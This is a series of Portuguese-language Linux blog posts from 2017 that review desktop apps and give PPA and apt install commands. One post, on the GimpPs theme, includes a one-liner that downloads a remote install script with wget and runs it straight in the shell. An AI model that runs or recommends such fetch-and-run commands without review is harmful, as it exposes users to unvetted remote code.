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Como reparar o seu sistema sem ser V1D4L0K4!

No artigo de hoje vamos falar sobre algumas práticas que eu considero extremamente válidas para qualquer pessoa que se julga um usuário de computador médio ou avançado, se você for leigo, este é o trabalho do técnico e não seu, e francamente, não há nada de errado com isso.

Formata, formata, formata!



Há alguns anos atrás eu iniciava a minha carreira no ramo da tecnologia, como a maior parte das pessoas, eu iniciei minhas experiências com o computador pessoal com o Windows, especificamente com o XP, para ser mais exato. Podemos dizer que comparado a algumas pessoas que eu conheço, eu comecei até tarde.

Naquela época eu era o tipo mais básico de usuário de computador. Usava o Notebook para jogar GTA San Andreas, FIFA e Need For Speed: Carbon e não ia muito além disso, via algum filme, ouvia mp3 e fazia trabalhos para escola no Word.

Desde aquela época, customizar e configurar o computador era algo que me atraia. Eu não sabia formatar, não fazia ideia de como isso funcionava, então costumava ser receoso sobre o que exatamente mudar, pois, por conta de onde eu morava, se precisasse levar o computador para a assistência, além de caro, era um pouco distante, apenas na cidade vizinha tinha algum serviço do tipo disponível.

Essa pequena história reflete o início da minha vida com a informática e com a tecnologia de forma geral, tirando os consoles que eu tive contato mais cedo.

Quando você se torna o mestre das computarias


Tem uma fase da vida de toda pessoa que gosta de tecnologia em que ela começa a ler, estudar, ver vídeos, em suma, consumir conteúdo relacionado ao tema. Quando isso acontece, é mais do que natural que a confiança aumente para começar a fazer testes mais avançados no computador, testar programas e sistemas operacionais diferentes.

Houveram duas épocas em que cheguei a formatar o computador mais de um dúzia de vezes por dia.

Por vezes não era necessário, outras, eram puro treinamento. Esses momentos foram quando a Microsoft lançou o Windows 7, e eu passei do XP para ele e quando eu comecei a testar Linux com o Debian e com o Sabayon.

É exatamente sobre essa fase que eu quero conversar com você, dependendo da sua postura para resolver problemas, o seu aproveitamento pode ser muito melhor.

Formata que eu gosto!


Houve um momento em que eu estava aprendendo a formatar o computador, eu tinha um DVD de Windows e eu tinha um DVD do Sabayon Linux. Como eu não tinha acesso pleno à internet e francamente, mesmo que tivesse eu não sabia pesquisar, desconhecia até mesmo a existência da palavra "fórum", a maneira que eu encontrei de treinar formatação foi formatando o meu computador diariamente. Nessa época meu backup cabia em um pen drive, então, nunca foi problema.

Depois que formatar se tornou algo simples pra mim, eu deixei de formatar tantas vezes diariamente, porém, quando tinha um problema no computador eu não pensava duas vezes e formatava. Uma vez eu exclui as barras do KDE Plasma e como eu não sabia pôr elas de volta, eu formatei o computador para ter os recursos no sistema de novo.

Acho que você acabou de perceber o problema disso, não?

Independente do sistema operacional, formatar nem sempre é a solução. Pode resolver? Pode. Existem circunstâncias em que vai resolver? Sim, diversas. Mas se a sua intenção é aprofundar seus conhecimentos, formatar deve ser o seu último recurso, especialmente no Linux, onde praticamente tudo é "arrumável".



Seguidamente eu vejo pessoas com problemas que podem ser contornados de diversas formas e  outras pessoas sugerindo que mudar de sistema é a melhor solução. Isso é um equívoco tremendo!

As distribuições Linux em geral não tem tanta diferença assim entre elas e dependendo do problema, simplesmente trocar de sistema não servirá para nada e pior, eventualmente vai trazer mais dúvidas  e problemas para o usuário por se tratar de algo novo.

Dicas para resolver problemas e ainda tirar conhecimento das situações


Se a sua intenção é, além de ajudar a resolver o problema de alguém, trazer conhecimento para você e para a pessoa que você está tentando ajudar, considere identificar exatamente qual o causador do problema.

Sempre há um motivo específico!

- Ah! Meu Windows está dando tela azul!

- Ah! Meu Ubuntu está travando!

- Ah! Meu Fedora não instala um programa!

As respostas que eu costumo ver são mais ou menos assim:

- Esse (encaixe o sistema que preferir aqui) não funciona mesmo, é todo bugado. Melhor instalar o (encaixe o sistema que preferir aqui), eu uso há (encaixe o tempo que você usa o sistema) e nunca deu problema.

Eu já perdi as contas de contas vezes eu vi situações semelhantes a esta.

Identifique o problema, sempre há um agente causador.

Se você conseguir identificar o que causa o comportamento anômalo, além de acrescentar conhecimento para você ou para quem precisa de ajuda (ou ambos), você provavelmente conseguirá evitar que o problema ocorra novamente e dar uma solução eficaz e permanente.

Entenda que um mesmo sistema vai se comportar de forma diferente em computadores diferentes e quanto mais pessoas o utilizarem, mais sujeito a provações diferentes ele vai estar e problemas mais diversos tendem a aparecer. Qual sistema tem mais bugs? Um em que a cada 10 usuários, 3 tem problemas ou um que a cada 100 usuários, 20 tem problemas?

Não é porque você não teve problemas, que o mesmo vai se repetir com um terceiro, e não é porque você teve problemas, que os demais não vão ter. O nível de complexidade para estas coisas é muito alto para você achar que simplesmente trocar de sistema resolve qualquer parada.

Não seja radical, não formate por conta de qualquer problema (obviamente respeitando a urgência da ocasião), procure reparar o seu computador de uma forma mais específica, isso vai te tornar um usuário muito mais técnico. Se o problema é a interface, troque a interface, se o problema é o Kernel, troque o Kernel, se o problema é o Driver, troque o driver, se o problema for você... bom, estude um pouco mais, conhecimento nunca é demais, não é, não? 😀

Até a próxima!
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segunda-feira, 20 de fevereiro de 2017

Green Recorder - Um novo App para gravar a tela do seu Ubuntu

Quem gosta de fazer captura de tela, gameplays ou tutoriais, sempre está de olho em aplicações com a funcionalidade de gravação de desktop. Existem alguns muito bons para Linux, como o OBS Studio, Simple Screen Recorder e o Kazam, para citar três, mas hoje você conhecerá outra boa opção.

Green Recorder




Comparando o Green Recorder com as outras aplicações que eu comentei, ele é que tem menos opções de configuração, mas a ideia dele é justamente ser simples, você clica para gravar e clica para parar de gravar, resume-se a isso e convenhamos, talvez seja exatamente o que alguns usuários desejam.

Green Recorder Ubuntu

O interessante para mim, é que apesar de simples, ele tem tudo o que você precisa para fazer gravaçoes; ele tem suporte a microfone e a selação de formatos diferentes de codificação, como MKV, AVI, MP4, WMV e NUT; seleção da taxa de frames e também do dispositivo de entrada de áudio. Uma vez que você inicie ele, aparecerá um indicador na barra superior do Unity, por lá você pode parar a gravação.

Como instalar o Green Recorder no Ubuntu


Para fazer a instalação você precisa adicionar o seguinte repositório: ppa:mhsabbagh/greenproject

Clique no menu do sistema, pesquise pelo aplicativo "Programas e Atualizações", dentro dele clique no botão "Adicionar", na janela que aparecer coloque o PPA acima, como no exemplo abaixo, posteriormente clique em "Adicionar Fonte", clique em "Fechar", agora é necessário fazer a atualização dos repositórios, se quando você fechar aparecer uma janela pedindo a atualização você pode fazer essa atualização apenas confirmando a ação, caso contrário, procure no menu do sistema pelo aplicativo "Atualizador de Programas" e deixe ele fazer uma atualização.

Adicionando repositório

Se você já tem o programa instalado, provavelmente através do aplicativo "Atualizador de Programas" você atualizará o mesmo, caso contrário, basta instalar o software pela Central de Programas do Ubuntu, o Synaptic, ou clicando no botão abaixo:

Instalando pelo terminal


Se você já fez o procedimento acima você não precisa repetir usando o terminal, isto é apenas para aqueles que preferem fazer a instalação desta forma. 

Basta copiar todo este código abaixo e colocar no seu terminal, depois de colar pressione a tecla "enter", digite a sua senha e pressione "enter" novamente, aguarde a instalação, ele estará disponível no menu do sistema depois que ela terminar.
sudo add-apt-repository ppa:mhsabbagh/greenproject -y && sudo apt update && sudo apt install green-recorder -y
Idependente da forma que você escolha para instalar, o Green Recorder vai estar disponível para você através do menu do sistema. Que quiser baixar o programa via .deb pode fazer isso diretamente da página do Launchpad.

Para outras distribuições, consulte a página do programa no GitHub.

Até a próxima!
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quarta-feira, 15 de fevereiro de 2017

5 aplicativos grátis para pessoas criativas!

Se você é daqueles caras que está em constante produtividade e gosta de criar, inventar, customizar e publicar as suas obras, esse artigo meu amigo(a), é pra você! Hoje vamos conhecer 5 ferramentas que você pode usar no seu computador de forma totalmente grátis para produzir obras de diversos tipos!

5 Apps para pessoas criativas




É quase contraditório pensar que para exercitar a sua criatividade no computador você tenha que pagar, é praticamente uma forma de frear as suas possibilidades de criatividade quando você se depara com um programa pago, sobretudo quando você não tem dinheiro para comprar uma licença e não gosta da ideia de piratear os programas.

Sem dinheiro para comprar os softwares?


Existem sim, vários programas gratuitos para criadores de conteúdo, para pessoas criativas, que você não precisa desembolsar nenhum centavo, vamos para a nossa lista!

1 - GIMP


GIMP

O GIMP é uma fantástico manipulador de imagem do mesmo segmento que o Photoshop, ele é completamente grátis e muito simples de se utilizar. Para você ter uma ideia, todas as artes que ilustram este artigo que você está lendo foram feitas com ele.

Você encontra ele disponível para download gratuito diretamente em seu site oficial, mas umas das coisas mais interessantes que eu posso dizer sobre o GIMP é sobre a sua incrível capacidade de se adaptar e se modificar. O App é muito customizável e você pode instalar temas que deixam ele com um visual parecido com o Photoshop, ideal para quem está experimentando ele pela primeira vez e já tem alguma experiência com o programa da Adobe, e instalar centenas de plugins para adicionar filtros, brushes e ferramentas para ele ficar ainda mais completo.

2 - Inkscape


Inkscape

Se o GIMP é uma ótima ferramenta grátis para você utilizar para fazer montagens, quando se trata de vetorização, o Inkscape é a bola da vez. Ele pode se equivaler a softwares como o Corel Draw e ao Adobe Illustrator. Conheço várias pessoas que trabalham diretamente com ele para "ganhar o pão" como se diz, aliás, uma curiosidade bacana de se comentar é que o logo aqui do blog (esse mesmo que fica lá no topo da página) foi feito com o Inkscape.

Você encontra o Inkscape para download, assim como uma excelente documentação com vários tutoriais, diretamente em seu site oficial.

3 - Krita


Krita

Se você é a pessoa criativa da sala que manja de desenho, com toda a certeza vai se apaixonar pelo Krita. O software vem ganhando muito espaço na indústria e sendo recomendado por vários profissionais do ramo, como o nosso amigo Elias de Carvalho. Até mesmo o design da aplicação é pensado para entregar as ferramentas que você precisa com maior facilidade.

Você pode baixar o Krita diretamente do site oficial também, e como os demais comentados acima, ele também é grátis.

4 - Kdenlive


Kdenlive

Saindo um pouco das imagens e indo para s vídeos, temos o excelentíssimo Kdenlive. Um editor de vídeos extratamente poderoso, igualmente grátis e equivalente ao Adobre Premiere e ao Vegas em diversas circunstâncias. Todo o nosso canal no YouTube foi desenvolvido usando este programa.

Você pode baixar este programa diretamente de seu site oficial também.

5 - Natron


Natron

Se além de editar vídeos, você também quer "brincar de Spielberg" e criar efeitos especiais, o Natron é uma excelente ferramenta para isso. Ele foi criado baseado no Workflow de grandes "medalhões" do mercado, como o Nuke e o Fusion. O download do Natron também é grátis e você pode obtê-lo através do site oficial.


Quem disse que você precisa gastar para exercitar a sua criatividade de criador de conteúdo, não é mesmo? É claro que existem diversos programas que poderiam se encaixar nesta lista, então, sinta-se à vontade para adicionar os que faltaram na sua opinião através dos comentários, logo abaixo.

Até a próxima!
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NixNote 2 - Cliente Evernote para Ubuntu e LInux Mint

Quem gosta de utilizar o Evernote para tomar notas e gostar de utilizar ele no Linux, além da versão Web e do App para o Chrome, pode também utilizar o NixNote 2, um excelente cliente para desktop.

NixNote 2 Ubuntu e Linux Mint



O NixNote2 é um cliente Evernote disponível para Linux que permite que você sincronize a sua conta no serviço, acesse e crie notas facilmente, além disso, imprimir as notas, enviar por e-mail, fazer marcações através de cores, organizar cadernos de notas com temas específicos, fixar notas, entre outros.

NixNote2

Para logar na sua conta, basta clicar no botão "Sync" e usar os seus dados cadastrais do Evernote, permitindo o acesso pelo tempo que você desejar. Um dos recursos que não estão disponíveis no NixNote2 é o compartilhamento de notas com outros usuários.

Como instalar o NixNote 2 no Ubuntu e no Linux Mint?


Você encontra pacotes .deb e .rpm do NixNote2 diretamente no site abaixo, basta baixar a versão para o seu sistema e instalar dando dois cliques.

Quem quiser instalar via PPA pode usar estes comandos:
sudo add-apt-repository ppa:nixnote/nixnote2-daily
sudo apt-get update
sudo apt-get install nixnote2
Até a próxima!

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segunda-feira, 13 de fevereiro de 2017

Encryptpad - Um editor de textos com criptografia para você escrever textos secretos

Conforme a preocupação com a segurança cresce entre as pessoas, programas que permitem a criptografia de seus dados acabam se tornando populares e interessantes. Hoje você vai conhecer um editor de textos que tem estas propriedades, o Encryptpad.

Encryptpad




Assim que você ver o Encryptpad pela primeira vez vai entender o quão simples é utilizá-lo. Acima de tudo ele também é um editor de textos, então ele possui ferramentas populares a qualquer editor de textos, mas o que realmente o diferencia é a possibilidade de criptografar o conteúdo do documento que você criar.

EncryptPad


Dentre os principais recursos da aplicação, podemos destacar:

-  Super para Windows, Linux e macOS;
- Suporte para Passphrase e para Key File ou a combinação dos dois;
- Gerador de senhas customizáveis;
- Suporte para encriptação binária;
- Salvar documentos no modo "Apenas leitura";
- Suporte há diversos algoritmos para criação de senhas e criptografia;
- Suporte para compressão em Zlib ou ZIP.

Como instalar o Encryptpad no seu computador?


Como comentado no início do artigo, o Encryptpad suporte os principais sistemas operacionais da atualidade, você encontra instruções para instalação diretamente em sua página no GitHub. Para usuários do Ubuntu e do Linux Mint, assim como seus derivados, basta adicionar este PPA. Apenas copie o comando abaixo e cole no terminal, pressione "enter", digite a sua senha, pressione "enter" novamente e aguarde a instalação:
sudo add-apt-repository ppa:nilarimogard/webupd8 -y && sudo apt update && sudo apt install encryptpad encryptcli -y
Para quem não gosta de usar o Terminal, basta adicionar o PPA: ppa:nilarimogard/webupd8


Os pacotes necessários para se instalar (você pode usar o Synaptic para isso) são os seguintes:

- encryptpad 
- encryptcli

Até a próxima!
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domingo, 12 de fevereiro de 2017

Como instalar PPAs no Ubuntu em modo gráfico

Aprenda a adicionar repositórios PPA sem digitar nenhum comando

Temos aqui um tutorial muito especial, eu havia prometido no meu vídeo "Como comecei a usar Linux" um tutorial ensinando como instalar repositórios PPA em modo gráfico.

Como instalar PPAs no modo Gráfico no Ubuntu




Por que aprender a instalar PPA dessa maneira?


Se você está se perguntando, "Para começar, o que vem a ser um PPA?" sugiro que leia o artigo que fizemos a respeito desse assunto, inclusive nele você encontra o passo-a-passo para aprender a instalar PPA em modo texto, ou seja, via terminal, explicando cada uma das partes para que você entenda o que está fazendo.


Se você não quiser ler explicações pule para parte "Instalando PPA pela interface gráfica"


Uma vez que você tenha entendido, vem a justificativa deste artigo, com o Linux a cada dia crescendo mais em usuários, começamos a atingir indivíduos que não curtem muito esse negócio de comandos, estão acostumados a usar o Windows e o Mac e raramente precisar destas coisas para coisas triviais como instalar programas.

No Ubuntu nós temos um repositório fantástico com mais de 30 mil softwares na Central de Programas prontos para instalar com pouquíssimos cliques do mouse, entretanto se você precisa de um programa específico é muito comum encontrar tais programas dentro de um repositório PPA e normalmente você encontra essas dicas em blogs como o nosso que mostrar como instalar esses programas via linha de texto, não é nada complicado, são apenas 3 comandos ( normalmente ) e bingo! temos o nosso programa instalado.

Porém nem tudo são flores e existem usuários que não querem chegar nem perto deste tipo de coisa e uma coisa que eu condeno e que já vi varias vezes é gente dizendo para novatos que eles tem que se acostumar assim porque o Linux funciona assim, que tem que tentar aprender um novo sistemas etc, que tem que mexer com o terminal por que é assim que as coisas devem ser...

Me reservo ao direito de não concordar com isso totalmente, por isso sempre estou tentando produzir material especialmente para iniciantes pois isso foi uma coisa que não tinha muito quando eu comecei, uma pessoa não é obrigada a aprender comandos para usar o Ubuntu certo? Ela não precisa querer ser um usuário avançado, ela pode simplesmente usar o computador normalmente e querer instalar um ou outro programa que infelizmente não está na Central de Programas.

Instalando PPA pela Interface Gráfica (Aqui começa o tutorial)


Adicionar repositórios PPA pela interface gráfica não é algo muito difícil, mas depois de ler todo este material você vai de dar conta que fazer isso pelo terminal é até mais simples. Vamos lá!

Passo 1

Abra o menu do Ubuntu e procure pelo aplicativo "Programas e atualizações".

Programas e atualizações

Programas e atualizações >> Outros programas

Programas e atualizações

Na janela que se abrir você encontra 5 abas, a segunda "Outros Programas" é a que você deve clicar, nela estão listados todos os repositórios do Ubuntu, incluindo os PPAs que você adicionou anteriormente (se adicionou), para este exemplo vamos usar o PPA do Wine que se encontra neste artigo que fizemos, para instalar o novo PPA você deve clicar no botão "Adicionar", como está marcado na imagem acima.

Passo 2

No próximo passo você vai precisar prestar atenção para retirar do tutorial em questão apenas a parte do comando que interessa que é o próprio endereço do PPA.

Adicionando o repositório

Na janela que se abrir você deve colocar o endereço do repositório, se você olhou o artigo que eu indiquei no item anterior você vai entender melhor, se fossemos instalar o software via linha de comando usaríamos o comando abaixo como está no artigo:


Observe que somente a última parte do comando você deve utilizar para colocar na tela anterior, a primeira parte não é necessária e se você colocasse não funcionaria, coloque somente o texto contido entre as palavras "ppa e /ppa", depois disso clique em adicionar fonte.

Passo 3

Para adicionar um PPA é necessário que você digite a sua senha, faça isso e tecle "Enter" ou clique em "Autenticar", normalmente a senha é mesma que você usa para se logar no sistema

Autentique-se como root para adicionar um repositório


Passo 4

Tudo isso que fizemos até agora equivale ao primeiro comando no terminal, que é o comando que adiciona o PPA, agora é necessário atualizar a lista de softwares que é equivalente ao comando "sudo apt-get update", para isso clique em fechar.

Atualizando lista APT via interface gráfica

Ao fazer isso podem ocorrer duas coisas dependendo da versão do Ubuntu que você use, pode ser que o sistema peça para atualizar o cache de programas (Ubuntu 13.10 ou anterior), se pedir de OK, ou pode ser que a Central de Programas faça isso automaticamente ( Ubuntu 14.04), no meu caso foi este último que aconteceu.

Atualizando o cache de programas

Uma vez que o processo se encerre a aplicação já vai estar disponível na Central de Programas, basta digitar o nome exato dela, esse nome você encontra na última linha do comando do tutorial, seguindo o nosso exemplo do Wine seria "wine1.7"


Entretanto se o programa já estiver instalado você só precisa atualizar o sistema, para fazer isso pela interface gráfica procure no menu por "Atualizador de Programas".

Existe uma outra possibilidade para o caso que é de que dentro do mesmo PPA existam versões diferentes do mesmo programa e você quer instalar uma específica, para isso você pode usar o Synaptic, que é um gerenciador de pacotes mais avançado que a Central de Programas, você encontra ele na própria Central de Programas pesquisando por "Synaptic".

Nele existe um método para filtrar os programas por PPA permitindo que você veja tudo o que contém nele.

Atualizando programas para o Synaptic

Para isso basta seguir as indicações da imagem acima, marque "Origem" nas opções que ficam na parte inferior esquerda, seleciona na lista acima o PPA que adicionamos, repare que agora ele vem seguido da palavra "Trusty" que indica a versão do Ubuntu, se você usa o Ubuntu 13.10 será "Saucy", se usa o 12.04 será "Precise" e assim por diante, uma vez selecionada do lado direito temos todos os pacotes contidos neste repositório e que são instaláveis na nossa distribuição.

Na primeira marcação na parte direita vemos a versão que está instalada (1.6.2) com um ícone como ponto de interrogação indicando que ela está desatualizada, clicando com o botão direito do mouse sobre ele você conseguir atualizar ele para uma versão mais recente mas muito provavelmente não a última versão que é a 1.7 marcada logo abaixo, e como saber que é a última, ora, basta olhar todos os pacotes contidos dentro do PPA nessa listinha não tão grande aí, 1.7 é atualmente o número mais alto, logo é a versão mais nova.

O que eu fiz foi simplesmente dar dois cliques na versão 1.7 indicada pela seta e confirmar que eu queria fazer essas alterações, automaticamente o Synaptic iria remover a versão mais antiga e instalar a mais nova, para confirmar essa ação basta clicar em aplicar e aguardar o download e a configuração dos novos pacotes.

Atualizando e instalado via Synaptic

No caso acima eu marquei também a opção de instalar atualizações então ele está baixando o pacote "ubuntu-emulator" que estava desatualizado.

Depois de instalado o programa ele estará disponível no seu menu como qualquer outro, viu como é simples? Ou será que nem tanto?

A verdade é que você pode fazer tudo por interface gráfica, mas pela linha de comando é mais direto ao ponto e consideravelmente mais rápido, o Linux é isso, te dá opções.

Compartilhe e até a próxima!
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KMag - Aplicativo de lupa para Linux

Como acessibilidade na tecnologia também é uma preocupação, especialmente de quem é professor, hoje vamos falar sobre o KMag, um aplicativo de lupa para você usar no Linux e te ajudar nas aulas ou ajudar pessoas que tenha problemas físicos.

KMag - Lupa para Linux




O KMag é uma ferramenta do projeto KDE, como o nome sugere, ela permite que você amplifique a tela do seu computador de uma forma muito semelhante que a ferramenta de lupa do Windows faz. Ela pode ser muito útil para você que é professor, afinal, para mostrar detalhes nos programas, dar um zoom assim é importante e obviamente, também é útil para pessoas que tem algum tipo de necessidade especial.

KMag

O programa em questão está disponível no repositório de todas as distribuições praticamente, no Ubuntu e seus derivados você pode instalar usando a Central de Apps, o Synaptic ou o terminal, desta forma:
sudo apt install kmag
Se você não usa o KDE como interface gráfica, a quantidade de pacotes a ser baixada será um pouco maior, mas nada de mais, perto do benefício da aplicação.

Depois de instalada, você vai encontrar o KMag no menu do seu sistema, dentre as principais opções que você pode configurar estão a possibilidade do KMag seguir o seu mouse pela tela para mostrar as coisas com detalhes.

Até a próxima!
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segunda-feira, 6 de fevereiro de 2017

Conheça o Ubuntu Pack, um Ubuntu pronto para o uso!

Há uns 3 anos atrás eu lancei aqui no blog o chamado "Diolinux OS", uma customização do Ubuntu com vários programas pré-instalados, até mesmo codecs e drivers. Com o tempo o projeto que me tomava muito tempo acabou sendo abandonado, ainda que por basear-se na LTS de 2014 do Ubuntu, ainda tenha suporte até 2019.

Ubuntu Pack




O caso é que como o "Diolinux OS" acabou ficando para trás, muitos leitores me perguntaram se eu conhecia algum outro sistema com características simulares, e é aí que o Ubuntu Pack entra. 

Quem prefere criar a sua própria solução, ou o seu próprio "Ubuntu Pack" também pode fazer sem maiores problemas, basta usar uma ferramenta como o Systemback, que nós já ensinamos a usar.

O Ubuntu Pack é um projeto Ucraniano de uma empresa parceira da Canonical, modificado para atender as necessidades dos consumidores de lá, o que não quer dizer que o produto final não possa se encaixar nas suas necessidades, confira o nosso vídeo mostrando o sistema para você:



Existem versões do Ubuntu Pack para finalidades diferentes e com interfaces diferentes, incluindo a versão gamer e a educacional, que me chamou bastante atenção, visto que isto é uma carência para muitas escolas. Baixe o Ubuntu Pack aqui.

Até a próxima!
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School Tool - Programa para gerenciamento de escolas para Ubuntu

Há alguns dias atrás um amigo meu que tem uma escola de informática me pediu se eu conhecia uma ferramenta para ele gerenciar os alunos, notas, e outras coisas que rodasse no Linux e que de preferência fosse de graça. Bom, eu não conhecia, mas pesquisando encontrei o School Tool, e hoje vou compartilhar com vocês a minha descoberta.

Programa para Escolas Linux


O School Tool é uma ferramente criada pela Shuttleworth Foundation, a fundação criada pelo mesmo criador do Ubuntu, Mark Shuttleworth, ela tem a intenção de ser uma solução completa para quem precisa administrar a vida estudantil de uma escola de qualquer tipo.

O programa tem muitos recursos que fica até complicado de listar, mas se você quiser dar uma olhada em tudo o que ele oferece, consulte este link da página oficial. Dentre as funcionalidades, eu gostaria de destacar, de forma geral, a gerência de alunos e professores, calendários escolares, atribuição de atividades, gerencia de salas de aula, chamada, entre outros.

Você consegue ver alguns screenshots do School Tool aqui.

Mais sobre o School Tool


O School Tool está disponível para o Ubuntu diretamente do repositório oficial, porém, existem algumas coisas que eu acho importante comentar para você não se confundir. O School Tool é na verdade um serviço web, ou seja, o ideal é que você monte um servidor com ele e o sistema será acessado através dos navegadores, com gerência de usuários e etc, assim como qualquer outro sistema semelhante. Outra observação importante que deve ser feita é que o School Tool não é um ambiente de ensino online, como o Moodle por exemplo, mas um sistema para gerência de escolas que possui alguns recursos semelhantes. Se você está pensando em montar um EAD, ele não é uma alternativa de plataforma.

Para instalar no Ubuntu:
sudo apt install schooltool
Se preferir, pode adicionar o PPA também.

Você pode ler toda a documentação do programa nesta página, incluindo tutoriais e e-mail para contato com os desenvolvedores.

Até a próxima!
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GimpPs - Um tema Adobe Photoshop para o GIMP

Eu acho louvável essas camadas de abstração de aprendizado que alguns usuários proporcionam para os demais. O GIMP permite várias modificações bacanas e hoje você vai conhecer o GimpPs.

GimpPS Ubuntu




O objetivo do projeto GimpPs é aproximar que está saindo do Photoshop para o GIMP. Feito para o GIMP 2.8, o tema funciona no Windows, no macOS e no Linux (em geral), valendo observar o tema GTK no caso das distros Linux.


O GimpPs muda o visual da aplicação e também as teclas de atalho da ferramenta, ele é perfeitamente comparável ao nosso projeto PhotoGIMP, porém, com um tema diferente, que pode ou não, te agradar mais.

Como instalar o GimpPs?

O projeto está disponível no GitHub, na página você também encontra as instruções para instalar em todos os sistemas.

Observe que é importante ter o Git instalado para que os comandos de instalação funcionem. Isso varia de acordo com o sistema, no Ubuntu, Debian, Mint e seus derivados o que você precisa fazer basicamente é:
sudo apt install git
Para instalar no Linux:
sh -c "$(wget https://raw.githubusercontent.com/doctormo/GimpPs/master/tools/install.sh -O -)"
No macOS:
cd $HOME/Library/Application\ Support/GIMP
mv 2.8 2.8.backup
git clone --depth=1 https://github.com/doctormo/GimpPs.git 2.8
No Windows (CMD):
cd %USERPROFILE% 
ren .gimp-2.8 .gimp-2.8.backup 
git clone --depth=1 https://github.com/doctormo/GimpPs.git .gimp-2.8
No Windows (PowerShell):
cd $Env:UserProfile 
mv .gimp-2.8 .gimp-2.8.backup
git clone --depth=1 https://github.com/doctormo/GimpPs.git .gimp-2.8
Até a próxima!_____________________________________________________________________________
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Stacer - Um programa para otimizar o Ubuntu

Finalmente alguém juntou design com funcionalidade e um programa que te ajuda a deixar o seu Ubuntu mais otimizado, conheça o Stacer.

Stacer Ubuntu Optimization




O Stacer é um utilitário de código aberto que permite que você colha informações básicas sobre a operação do seu sistema, faça limpeza de pacotes e arquivos, otimize a inicialização e ainda remova aplicações que você não queira mais, tudo isso numa interface muito bela e intuitiva.

Spacer no Ubuntu

Assim que você abrir o Stacer, ele pedirá que você digite a sua senha de usuário para poder usar o sudo para fazer algumas modificações mais profundas. Isso já serve de alerta para você tomar cuidado com as coisas que você seleciona dentro do programa, pois elas serão executadas como super usuário, pelo menos temporariamente.

Atualmente o programa divide-se em 5 segmentos diferentes.

1 - Dashboard

Stacer Dashboard - Ubuntu

O Dashboard não tem nenhuma função específica, ela apenas serve para mostrar informações do sistema em geral. Nele você consegue ver a utilização do CPU, memória e armazenamento, assim como taxa de download e de upload e informações do sistema, como o hostname, qual plataforma você está rodando, distribuição, informações sobre o processador e a quantidade de RAM instalada disponível.

2 - System Cleaner


A segunda sessão, chamada de "System Cleaner" tem um nome auto-explicativo, assim como outras aplicações disponíveis para esta tarefa no Linux, você pode limpar o cache do sistema, os crash reports os logs do sistema, tudo isso para não deixar conteúdo inútil utilizar o seu armazenamento.

Para usar a ferramente é simples, marque na esquerda o que você gostaria de limpar e clique no botão "System Scan", do lado direito serão mostrados os pacotes que podem ser limpos (se existirem), logo abaixo você encontra o botão "Clean" para efetuar a limpeza.

3 - Startup Apps

Startup Apps

Esta sessão é semelhante ao aplicativo nativo do Ubuntu "Aplicativos de sessão", entretanto, o Stacer é capaz de mostrar entradas que normalmente não estão disponíveis do App padrão do Ubuntu. Até existe uma modificação que você pode fazer para que ele exiba estas opções, porém, no Stacer elas já estão à mostra.

Cabe observar que apesar do Stacer permitir a remoção de Apps da inicialização, ele ainda não tem a opção de adicionar, de movo que se você remover algum equivocadamente,vai ter que colocá-lo de volta através do App "Aplicativos de sessão".

4 - Services

Services Stacer

Essa sessão funciona de forma semelhante à anterior, porém, você deve tomar MUITO MAIS CUIDADO aqui. Isso porque nesta sessão você consegue habilitar e desabilitar serviços do sistema, se você não sabe para que ser algum NÃO MEXA, pois isso pode acarretar no mal funcionamento do sistema. Se você tiver dúvidas, pesquise antes para saber o que pode ser removido ou não, dependendo da sua necessidade.

5 - Uninstaller

Uninstaller Stacer

A última sessão também tem um nome auto-explicativo. O "Uninstaller" permite que você remova todo e qualquer pacote instalado via apt ou .deb, por PPA ou repositório oficial, o Stacer ainda não tem suporte para o Snaps, mas neste momento isso não chega a ser um grande contra. Mais uma vez, como o Stacer lista todos os pacotes, tome cuidado com o que você remove para evitar problemas.

Download do Stacer para o Ubuntu


O Stacer está sendo disponibilizado através de sua página oficial no GitHub, onde é possível encontrar o programa em versão .deb para 32 e 64 bits, além de seu código fonte.

Aproveite o programa e use com cuidado, até a próxima!
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quarta-feira, 1 de fevereiro de 2017

Vineyard - Uma alternativa ao PlayOnLinux para trabalhar com o Wine

Você está procurando uma nova forma de trabalhar com o Wine para rodar aplicações do Windows dentro do Linux? Bom, se você não se deu bem com o Wine puro, com o PlayOnLinux, ou com o CrossOver, talvez o Vineyard seja a sua saída.

Vineyard




O Vineyard é uma aplicação que coloca uma camada de abstração em cima do Wine, assim como o PlayOnLinux e o CrossOver, facilitando a instalação e configuração do Wine e de seus complementos.

Uma pergunta inevitável de se fazer é: O Vineyard é melhor que o PlayOnLinux?

A resposta é não. Mas não entenda mal, ele também é não "pior", mas sim diferente, inclusive, você pode usar ambos de forma complementar se achar necessário. O Vineyard consegue ler as suas bottles do CrossOver e os prefixos do POL que você já tiver no seu computador, o que é algo bem legal e muito útil.

O Vineyard é, acima de tudo, simples de entender, todas as opções do programa ficam dispostas em um menu com sessões do lado esquerdo, com tudo o que você vai precisar para configurar as suas aplicações.

Vineyard

A quantidade de complementos disponíveis para instalação não é tão vasta quanto a do PlayOnLinux, mas tem todo o básico para rodar aplicações, sendo que você também pode usar o programa para instalar e configurar DLLs, configurar o registro, entre outras coisas.

Wine configurações

Outra coisa interessante que o Vineyard tem, é a opção de habilitar patches de otimização para o Wine de uma forma bem simples com caixas de marcar, um ponto negativo é que, ao contrário do POL (PlayOnLinux), o Vineyard não permite que você gerencie versões diferentes do Wine através dele, algo pode ser útil para criar prefixos diferentes para cada aplicação.

Como instalar o Vineyard no Ubuntu e no Linux Mint?


Este programa necessita da adição de um PPA para funcionar, e na verdade, temos duas opções, a versão estável, mais antiga, e a versão de testes, com recursos mais recentes, porém, possivelmente instável.

Estável: ppa:cybolic/ppa

Instável: ppa:cybolic/vineyard-testing


Quem prefere fazer pelo terminal, pode fazer assim:

- Versão estável:
sudo add-apt-repository ppa:cybolic/ppa -y && sudo apt update && sudo apt install vineyard -y
- Versão instável:
sudo add-apt-repository ppa:cybolic/vineyard-testing -y && sudo apt update && sudo apt install vineyard -y
Lembrando que o Vineyard depende do Wine para funcionar, então é necessário que o Wine tenha sido instalado previamente, você encontra ele no repositório de qualquer uma das distros, se quiser uma a versão mais recente do Wine, consulte este tutorial.

Até a próxima!
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segunda-feira, 30 de janeiro de 2017

Crie grupos de Apps na barra do Unity no Ubuntu com o LauncherFolders

Apesar da barra do Unity trabalhar muito bem com vários aplicativos, você pode querer agrupá-los, da mesma forma com que você faz no Android ou no iOS, veja como fazer utilizando a versátil aplicação, LauncherFolders.

Launcher Folders




